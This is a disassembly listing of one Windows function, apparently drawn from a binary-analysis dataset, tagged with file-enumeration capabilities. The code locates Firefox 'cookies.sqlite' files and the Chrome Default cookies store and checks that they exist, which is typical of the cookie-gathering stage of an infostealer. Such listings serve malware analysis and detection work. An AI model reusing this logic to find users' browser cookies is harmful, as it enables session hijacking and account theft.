Function at 0x537d20
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x6072ff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6b4
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
mov word [esp + 0x18], bp
mov eax, dword [esp + 0x6d4]
mov dword [esp + 0x6cc], ebp
cmp eax, ebp
je 0x53817e
cmp dword [0x6cd388], ebp
je 0x537d7c
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x53841d
lea eax, [esp + 0x64]
push eax
call fcn.00537c70
add esp, 4
test eax, eax
jne 0x537da8
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53842b
lea ecx, [esp + 0x64]
mov byte [esp + 0x13], 0
push ecx
call fcn.005c2f1a
xor ecx, ecx
add esp, 4
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], bp
cmp word [esp + eax*2 + 0x64], 0x5c
lea ebx, [esp + eax*2 + 0x64]
mov byte [esp + 0x6cc], 1
mov dword [esp + 0x3c], ebx
mov esi, 0x6cc7bc
je 0x537dec
mov esi, 0x69e054
mov edx, str._s_sMozillaFirefoxProfiles
test edx, edx
je 0x537f1c
lea eax, [esp + 0x64]
test eax, eax
je 0x537f1c
cmp esi, ebp
je 0x537f1c
push edx
lea ecx, [esp + 0x34]
call fcn.00401ec0
lea ecx, [esp + 0x64]
mov bl, 2
push ecx
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], bl
call fcn.0040d680
push esi
lea ecx, [esp + 0x44]
mov byte [esp + 0x6d0], 3
call fcn.0040d680
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 4
call fcn.00401070
mov edi, dword [esp + 0x4c]
cmp edi, ebp
jne 0x537e5d
lea edi, [esp + 0x50]
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
call fcn.00401f40
push eax
call fcn.005c2f1a
push edi
mov ebp, eax
call fcn.005c2f1a
add esi, ebp
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005db95d
mov edi, eax
add esp, 0xc
test edi, edi
mov dword [esp + 0x24], edi
je 0x537ee0
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00401f40
push eax
lea ecx, [esp + 0x50]
call fcn.00401f40
push eax
lea ecx, [esp + 0x38]
call fcn.00401f40
push eax
mov eax, dword [esp + 0x30]
push esi
push eax
call fcn.005c2eaa
mov ecx, dword [esp + 0x38]
push ecx
call fcn.005c2f1a
add esp, 0x18
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 3
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov ecx, dword [esp + 0x24]
mov ebx, dword [esp + 0x3c]
xor ebp, ebp
cmp ecx, ebp
jne 0x537f24
lea ecx, [esp + 0x28]
lea edx, [esp + 0x26c]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x3c], edi
je 0x53813c
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [esp + 0x298]
push 0x69eda8
push eax
call fcn.005c342f
add esp, 8
test eax, eax
je 0x537f7a
lea ecx, [esp + 0x298]
push 0x69eda0
push ecx
call fcn.005c342f
add esp, 8
test eax, eax
jne 0x537f8f
lea edx, [esp + 0x26c]
push edx
push edi
call esi
test eax, eax
je 0x53812d
jmp 0x537f48
cmp word [ebx], 0x5c
mov esi, 0x6cc7bc
je 0x537f9f
mov esi, 0x69e054
mov eax, str._s_sMozillaFirefoxProfiles_scookies.sqlite
test eax, eax
je 0x538128
lea ecx, [esp + 0x64]
test ecx, ecx
je 0x538128
cmp esi, ebp
je 0x538128
lea edx, [esp + 0x298]
test edx, edx
je 0x538128
lea eax, [esp + 0x64]
lea ecx, [esp + 0x58]
push eax
call fcn.0040d680
push esi
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], 5
call fcn.0040d680
lea ecx, [esp + 0x298]
mov byte [esp + 0x6cc], 6
push ecx
lea ecx, [esp + 0x44]
call fcn.0040d680
mov bl, 7
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], bl
call fcn.00401070
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x34]
call fcn.00401ec0
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 8
call fcn.00401f40
push eax
call fcn.005c2f1a
add esp, 4
lea ecx, [esp + 0x4c]
mov edi, eax
call fcn.00401f40
push eax
call fcn.005c2f1a
mov ebp, eax
add esp, 4
lea ecx, [esp + 0x58]
add ebp, esi
call fcn.00401f40
push eax
call fcn.005c2f1a
add ebp, edi
lea esi, [eax + ebp + 4]
lea ebp, [esi + esi]
push ebp
call fcn.005db95d
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x5380df
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00401f40
push eax
lea ecx, [esp + 0x50]
call fcn.00401f40
push eax
lea ecx, [esp + 0x60]
call fcn.00401f40
push eax
lea ecx, [esp + 0x3c]
call fcn.00401f40
push eax
mov eax, dword [esp + 0x24]
push esi
push eax
call fcn.005c2eaa
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.005c2f1a
add esp, 0x1c
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 6
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], 5
call fcn.00401070
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov edi, dword [esp + 0x3c]
xor ebp, ebp
mov byte [esp + 0x13], 1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [esp + 0x13]
test al, al
jne 0x538168
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53842b
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
jmp 0x538319
cmp dword [0x6cd38c], ebp
je 0x538196
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x53841d
lea edx, [esp + 0x4bc]
push edx
call fcn.0040d1b0
add esp, 4
test eax, eax
jne 0x5381c5
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53842b
lea eax, [esp + 0x4bc]
push eax
call fcn.005c2f1a
add esp, 4
dec eax
mov esi, 0x6cc7bc
cmp word [esp + eax*2 + 0x4bc], 0x5c
je 0x5381eb
mov esi, 0x69e054
mov ecx, str._s_sGoogleChromeUser_DataDefaultcookies
test ecx, ecx
je 0x538319
lea edx, [esp + 0x4bc]
test edx, edx
je 0x538319
cmp esi, ebp
je 0x538319
push ecx
lea ecx, [esp + 0x44]
call fcn.00401ec0
lea eax, [esp + 0x4bc]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x6d0], 9
call fcn.0040d680
mov bl, 0xa
push esi
lea ecx, [esp + 0x5c]
mov byte [esp + 0x6d0], bl
call fcn.0040d680
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], 0xb
call fcn.00401070
mov esi, dword [esp + 0x48]
lea ecx, [esp + 0x58]
call fcn.00401f40
push eax
call fcn.005c2f1a
add esp, 4
lea ecx, [esp + 0x30]
mov edi, eax
call fcn.00401f40
push eax
call fcn.005c2f1a
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005db95d
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x5382e5
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x58]
call fcn.00401f40
push eax
lea ecx, [esp + 0x34]
call fcn.00401f40
push eax
lea ecx, [esp + 0x48]
call fcn.00401f40
push eax
mov eax, dword [esp + 0x20]
push esi
push eax
call fcn.005c2eaa
mov ecx, dword [esp + 0x28]
push ecx
call fcn.005c2f1a
add esp, 0x18
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 9
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 0
call fcn.00401070
xor ebp, ebp
mov edx, dword [0x6c826c]
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6cc], 0xc
cmp eax, ebp
jne 0x538337
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
or ebx, 0xffffffff
push ebp
push ebx
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x538393
push esi
lea ecx, [esp + 0x24]
call fcn.005df923
mov ecx, dword [esp + 0x14]
cmp ecx, ebp
jne 0x53836a
lea ecx, [esp + 0x18]
push ebp
push ebp
push esi
push eax
push ebx
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
je 0x538393
mov eax, dword [esp + 0x14]
cmp eax, ebp
jne 0x538388
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, ebx
jne 0x5383b8
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005df556
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], ebx
call fcn.00401070
xor eax, eax
jmp 0x53842b
cmp dword [esp + 0x6d4], ebp
je 0x5383e4
mov eax, dword [esp + 0x20]
push eax
push 0x69dfbc
push 0x6cd360
call fcn.005d838b
add esp, 0xc
mov dword [0x6cd388], 1
jmp 0x538405
mov ecx, dword [esp + 0x20]
push ecx
push 0x69dfbc
push 0x6cd35c
call fcn.005d838b
add esp, 0xc
mov dword [0x6cd38c], 1
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005df556
mov dword [esp + 0x6cc], ebx
lea ecx, [esp + 0x14]
call fcn.00401070
mov eax, 1
mov ecx, dword [esp + 0x6c4]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6c0
ret